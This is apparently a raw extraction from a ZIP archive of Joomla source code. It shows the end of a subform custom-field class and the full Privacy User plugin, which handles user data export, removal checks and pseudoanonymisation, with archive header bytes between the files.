our cache with its id as key static::$customFieldsCache[$customField->id] = $customField; } } $result = []; // Iterate over all configured options for this field foreach ($this->getOptionsFromField($field) as $option) { // Check whether the wanted sub field really is an existing custom field if (!isset(static::$customFieldsCache[$option->customfield])) { continue; } // Get a clone of the sub field, so we and the caller can do some manipulation with it. $cur_field = (clone static::$customFieldsCache[$option->customfield]); // Manipulate it and add our custom configuration to it $cur_field->render_values = $option->render_values; /** * Set the name of the sub field to its id so that the values in the database are being saved * based on the id of the sub fields, not on their name. Actually we do not need the name of * the sub fields to render them, but just to make sure we have the name when we need it, we * store it as `fieldname`. */ $cur_field->fieldname = $cur_field->name; $cur_field->name = 'field' . $cur_field->id; // And add it to our result $result[] = $cur_field; } return $result; } } PK �-�\��֔� � UserPlugin.phpnu �[��� <?php /** * @package Joomla.Plugin * @subpackage Privacy.user * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Privacy\User\Extension; use Joomla\CMS\Language\Text; use Joomla\CMS\Table\User as TableUser; use Joomla\CMS\User\User; use Joomla\CMS\User\UserHelper; use Joomla\Component\Privacy\Administrator\Plugin\PrivacyPlugin; use Joomla\Component\Privacy\Administrator\Removal\Status; use Joomla\Component\Privacy\Administrator\Table\RequestTable; use Joomla\Database\ParameterType; use Joomla\Utilities\ArrayHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Privacy plugin managing Joomla user data * * @since 3.9.0 */ final class UserPlugin extends PrivacyPlugin { /** * Performs validation to determine if the data associated with a remove information request can be processed * * This event will not allow a super user account to be removed * * @param RequestTable $request The request record being processed * @param User $user The user account associated with this request if available * * @return Status * * @since 3.9.0 */ public function onPrivacyCanRemoveData(RequestTable $request, User $user = null) { $status = new Status(); if (!$user) { return $status; } if ($user->authorise('core.admin')) { $status->canRemove = false; $status->reason = Text::_('PLG_PRIVACY_USER_ERROR_CANNOT_REMOVE_SUPER_USER'); } return $status; } /** * Processes an export request for Joomla core user data * * This event will collect data for the following core tables: * * - #__users (excluding the password, otpKey, and otep columns) * - #__user_notes * - #__user_profiles * - User custom fields * * @param RequestTable $request The request record being processed * @param User $user The user account associated with this request if available * * @return \Joomla\Component\Privacy\Administrator\Export\Domain[] * * @since 3.9.0 */ public function onPrivacyExportRequest(RequestTable $request, User $user = null) { if (!$user) { return []; } /** @var TableUser $userTable */ $userTable = User::getTable(); $userTable->load($user->id); $domains = []; $domains[] = $this->createUserDomain($userTable); $domains[] = $this->createNotesDomain($userTable); $domains[] = $this->createProfileDomain($userTable); $domains[] = $this->createCustomFieldsDomain('com_users.user', [$userTable]); return $domains; } /** * Removes the data associated with a remove information request * * This event will pseudoanonymise the user account * * @param RequestTable $request The request record being processed * @param User $user The user account associated with this request if available * * @return void * * @since 3.9.0 */ public function onPrivacyRemoveData(RequestTable $request, User $user = null) { // This plugin only processes data for registered user accounts if (!$user) { return; } $pseudoanonymisedData = [ 'name' => 'User ID ' . $user->id, 'username' => bin2hex(random_bytes(12)), 'email' => 'UserID' . $user->id . 'removed@email.invalid', 'block' => true, ]; $user->bind($pseudoanonymisedData); $user->save(); // Destroy all sessions for the user account UserHelper::destroyUserSessions($user->id); } /** * Create the domain for the user notes data * * @param TableUser $user The TableUser object to process * * @return \Joomla\Component\Privacy\Administrator\Export\Domain * * @since 3.9.0 */ private function createNotesDomain(TableUser $user) { $domain = $this->createDomain('user_notes', 'joomla_user_notes_data'); $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('*') ->from($db->quoteName('#__user_notes')) ->where($db->quoteName('user_id') . ' = :userid') ->bind(':userid', $user->id, ParameterType::INTEGER); $items = $db->setQuery($query)->loadAssocList(); // Remove user ID columns foreach (['user_id', 'created_user_id', 'modified_user_id'] as $column) { $items = ArrayHelper::dropColumn($items, $column); } foreach ($items as $item) { $domain->addItem($this->createItemFromArray($item, $item['id'])); } return $domain; } /** * Create the domain for the user profile data * * @param TableUser $user The TableUser object to process * * @return \Joomla\Component\Privacy\Administrator\Export\Domain * * @since 3.9.0 */ private function createProfileDomain(TableUser $user) { $domain = $this->createDomain('user_profile', 'joomla_user_profile_data'); $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('*') ->from($db->quoteName('#__user_profiles')) ->where($db->quoteName('user_id') . ' = :userid') ->order($db->quoteName('ordering') . ' ASC') ->bind(':userid', $user->id, ParameterType::INTEGER); $items = $db->setQuery($query)->loadAssocList(); foreach ($items as $item) { $domain->addItem($this->createItemFromArray($item)); } return $domain; } /** * Create the domain for the user record * * @param TableUser $user The TableUser object to process * * @return \Joomla\Component\Privacy\Administrator\Export\Domain * * @since 3.9.0 */ private function createUserDomain(TableUser $user) { $domain = $this->createDomain('users', 'joomla_users_data'); $domain->addItem($this->createItemForUserTable($user)); return $domain; } /** * Create an item object for a TableUser object * * @param TableUser $user The TableUser object to convert * * @return \Joomla\Component\Privacy\Administrator\Export\Item * * @since 3.9.0 */ private function createItemForUserTable(TableUser $user) { $data = []; $exclude = ['password', 'otpKey', 'otep']; foreach (array_keys($user->getFields()) as $fieldName) { if (!in_array($fieldName, $exclude)) { $data[$fieldName] = $user->$fieldName; } } return $this->createItemFromArray($data, $user->id); } } PK 2�\!���&